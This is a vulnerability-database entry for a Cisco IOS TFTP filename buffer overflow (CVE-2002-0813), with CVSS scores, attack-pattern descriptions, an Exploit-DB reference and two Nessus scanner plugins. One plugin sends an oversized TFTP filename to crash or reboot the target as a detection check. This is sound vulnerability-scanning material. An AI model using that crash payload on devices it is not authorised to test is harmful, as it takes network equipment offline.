Vulnerabilities > CVE-2002-0813 - Buffer Errors vulnerability in Cisco IOS 11.1/11.2/11.3

047910
CVSS 7.1 - HIGH
Attack vector
NETWORK
Attack complexity
MEDIUM
Privileges required
NONE
Confidentiality impact
NONE
Integrity impact
NONE
Availability impact
COMPLETE
network
cisco
CWE-119
nessus
exploit available

Summary

Heap-based buffer overflow in the TFTP server capability in Cisco IOS 11.1, 11.2, and 11.3 allows remote attackers to cause a denial of service (reset) or modify configuration via a long filename.

Vulnerable Configurations

Part Description Count
OS
Cisco
3

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Buffer Overflow via Environment Variables
    This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
  • Overflow Buffers
    Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an attacker. As a consequence, an attacker is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the attackers' choice.
  • Client-side Injection-induced Buffer Overflow
    This type of attack exploits a buffer overflow vulnerability in targeted client software through injection of malicious content from a custom-built hostile service.
  • Filter Failure through Buffer Overflow
    In this attack, the idea is to cause an active filter to fail by causing an oversized transaction. An attacker may try to feed overly long input strings to the program in an attempt to overwhelm the filter (by causing a buffer overflow) and hoping that the filter does not fail securely (i.e. the user input is let into the system unfiltered).
  • MIME Conversion
    An attacker exploits a weakness in the MIME conversion routine to cause a buffer overflow and gain control over the mail server machine. The MIME system is designed to allow various different information formats to be interpreted and sent via e-mail. Attack points exist when data are converted to MIME compatible format and back.

Exploit-Db

descriptionCisco IOS 11.x TFTP Server Long File Name Buffer Overflow Vulnerability. CVE-2002-0813. Dos exploit for hardware platform
idEDB-ID:21655
last seen2016-02-02
modified2002-07-26
published2002-07-26
reporterFX
sourcehttps://www.exploit-db.com/download/21655/
titleCisco IOS 11.x - TFTP Server Long File Name Buffer Overflow Vulnerability

Nessus

  • NASL familyCISCO
    NASL idCSCDY03429.NASL
    descriptionTrivial File Transfer Protocol (TFTP) is a protocol which allows for easy transfer of files between network connected devices. A vulnerability has been discovered in the processing of filenames within a TFTP read request when Cisco IOS is configured to act as a TFTP server. This vulnerability is documented as Cisco Bug ID CSCdy03429.
    last seen2020-06-01
    modified2020-06-02
    plugin id11056
    published2002-07-30
    reporterThis script is (C) 2002-2018 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/11056
    titleCisco TFTP Server Long Filename DoS (CSCdy03429)
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    # Script audit and contributions from Carmichael Security
    #      Erik Anderson <[email protected]> (nb: domain no longer exists)
    #      Added BugtraqID and CAN
    #
    
    
    include("compat.inc");
    
    if(description)
    {
     script_id(11056);
     script_version("1.25");
     script_cve_id("CVE-2002-0813");
     script_bugtraq_id(5328);
    
     script_name(english:"Cisco TFTP Server Long Filename DoS (CSCdy03429)");
    
     script_set_attribute(attribute:"synopsis", value:
    "The remote device is missing a vendor-supplied security patch." );
     script_set_attribute(attribute:"description", value:
    "Trivial File Transfer Protocol (TFTP) is a protocol which allows for 
    easy transfer of files between network connected devices. 
    
    A vulnerability has been discovered in the processing of filenames 
    within a TFTP read request when Cisco IOS is configured to act as a 
    TFTP server.
    
    This vulnerability is documented as Cisco Bug ID CSCdy03429." );
     script_set_attribute(attribute:"solution", value:
    "http://www.nessus.org/u?1212ca9e" );
     script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:C");
     script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
     script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
     script_set_attribute(attribute:"exploit_available", value:"true");
     script_cwe_id(119);
    
     script_set_attribute(attribute:"plugin_publication_date", value: "2002/07/30");
     script_cvs_date("Date: 2018/06/27 18:42:25");
     script_set_attribute(attribute:"vuln_publication_date", value: "2002/07/25");
     script_set_attribute(attribute:"plugin_type", value:"local");
     script_set_attribute(attribute:"cpe", value: "cpe:/o:cisco:ios");
     script_end_attributes();
    
     script_summary(english:"Uses SNMP to determine if a flaw is present");
     script_category(ACT_GATHER_INFO);
     script_copyright(english:"This script is (C) 2002-2018 Tenable Network Security, Inc.");
     script_family(english:"CISCO");
     script_dependencie("snmp_sysDesc.nasl");
     script_require_keys("SNMP/community", "SNMP/sysDesc");
     exit(0);
    }
    
    # The code starts here
    
    ok=0;
    os = get_kb_item("SNMP/sysDesc"); if(!os)exit(0);
    
    # Check for the required operating system...
    #----------------------------------------------------------------
    # Is this IOS ?
    
    if(!egrep(pattern:".*(Internetwork Operating|IOS).*", string:os))exit(0);
    
    # IOSes 11.1 to 11.3 are vulnerable
    if(egrep(string:os, pattern:".* 11\.[1-3][^0-9].*"))
    	security_hole(port:161, proto:"udp");
    
    
  • NASL familyGain a shell remotely
    NASL idTFTPD_OVERFLOW.NASL
    descriptionThe remote TFTP server dies when it receives a too big UDP datagram. An attacker may use this flaw to disable the server, or even execute arbitrary code on the system.
    last seen2020-06-01
    modified2020-06-02
    plugin id18264
    published2005-05-16
    reporterThis script is Copyright (C) 2005-2019 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/18264
    titleTFTPD Server Filename Handling Remote Overflow
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    # Not tested against a vulnerable server!
    
    include("compat.inc");
    
    if (description)
    {
     script_id(18264);
     script_version("1.21");
     script_cvs_date("Date: 2019/03/06 18:38:55");
    
     # Not sure for 10526 or 11584
     # BID=6043 / CVE-2002-1542 is different
     script_cve_id("CVE-2002-0813", "CVE-2003-0380");
     script_bugtraq_id(401, 5328, 7819);
    
     script_name(english:"TFTPD Server Filename Handling Remote Overflow");
     script_summary(english:"Crashes TFTPD with a big UDP datagram");
    
     script_set_attribute(attribute:"synopsis", value:
    "The remote host has an application that is affected by a buffer
    overflow vulnerability.");
     script_set_attribute(attribute:"description", value:
    "The remote TFTP server dies when it receives a too big UDP datagram.
    An attacker may use this flaw to disable the server, or even execute
    arbitrary code on the system.");
     script_set_attribute(attribute:"solution", value:"Upgrade software, or disable this service.");
     script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
     script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
     script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
     script_set_attribute(attribute:"exploit_available", value:"true");
     script_cwe_id(119);
    
     script_set_attribute(attribute:"vuln_publication_date", value:"2002/07/25");
     script_set_attribute(attribute:"plugin_publication_date", value:"2005/05/16");
    
     script_set_attribute(attribute:"potential_vulnerability", value:"true");
     script_set_attribute(attribute:"plugin_type", value:"remote");
     script_end_attributes();
    
     # Not an ACT_DESTRUCTIVE_ATTACK (see CVE-2002-0813), should be an ACT_KILL_HOST
     # but sending 700+ packets is slow
     script_category(ACT_FLOOD);
    
     script_copyright(english:"This script is Copyright (C) 2005-2019 Tenable Network Security, Inc.");
     script_family(english:"Gain a shell remotely");
    
     script_require_keys("Services/udp/tftp", "Settings/ParanoidReport");
    
     exit(0);
    }
    
    include("audit.inc");
    include("global_settings.inc");
    include("dump.inc");
    
    if (report_paranoia < 2) audit(AUDIT_PARANOID);
    
    if ( TARGET_IS_IPV6 ) exit(0);
    
    if(islocalhost()) exit(0);	# ?
    
    # This function cannot yet send UDP packets bigger than the MTU
    # TBD: write 'fragment_packet' function
    function tftp_ping(port, huge)
    {
     local_var	req, rep, sport, ip, u, filter, data, i;
    
     debug_print('tftp_ping: huge=', huge, '\n');
    
     if (huge)
      req = '\x00\x01'+crap(huge)+'\0netascii\0';
     else
      req = '\x00\x01Nessus'+rand()+'\0netascii\0';
    
     sport = rand() % 64512 + 1024;
     ip = forge_ip_packet(ip_hl : 5, ip_v: 4,  ip_tos:0,
    	ip_len:20, ip_off:0, ip_ttl:64, ip_p:IPPROTO_UDP,
    	ip_src: compat::this_host());
    
     u = forge_udp_packet(ip:ip, uh_sport: sport, uh_dport:port, uh_ulen: 8 + strlen(req), data:req);
    
     filter = 'udp and dst port ' + sport + ' and src host ' + get_host_ip() + ' and udp[8:1]=0x00';
    
     data = NULL;
     for (i = 0; i < 2; i ++)	# Try twice
     {
      rep = send_packet(u, pcap_active:TRUE, pcap_filter:filter);
      if(rep)
      {
       if (debug_level > 2) dump(ddata: rep, dtitle: 'TFTP (IP)');
       data = get_udp_element(udp: rep, element:"data");
       if (debug_level > 1) dump(ddata: data, dtitle: 'TFTP (UDP)');
       if (data[0] == '\0' && (data[1] == '\x03' || data[1] == '\x05'))
       {
        debug_print('tftp_ping(port=', port, ',huge=', huge, ') succeeded\n');
        return TRUE;
       }
      }
     }
     debug_print('tftp_ping(port=', port, ',huge=', huge, ') failed\n');
     return FALSE;
    }
    
    #
    port = get_kb_item('Services/udp/tftp');
    if (! port) port = 69;
    if (get_kb_item('tftp/'+port+'/backdoor')) exit(0);
    if (! tftp_ping(port: port)) exit(0);
    
    start_denial();
    
    # 700 is good for CISCO, and more than enough for atftpd
    # 1000 might be necessary WinAgents, but the flaw might be different
    tftp_ping(port: port, huge: 1000);
    
    # I'll check this first, in case the device reboots
    tftpalive = tftp_ping(port: port);
    alive = end_denial();
    
    if (! alive)
     {
      report = string("\n\n",
        "The remote device freezes or reboots when a too big UDP datagram","\n",
        "is sent to the TFTP server.",
        "\n");
        security_hole(port: port, proto: "udp", extra:report);
      }
    else
     if (! tftpalive)
      security_hole(port: port, proto: "udp");
    
    if (! alive || ! tftpalive)
     set_kb_item(name: 'tftp/'+port+'/overflow', value: TRUE);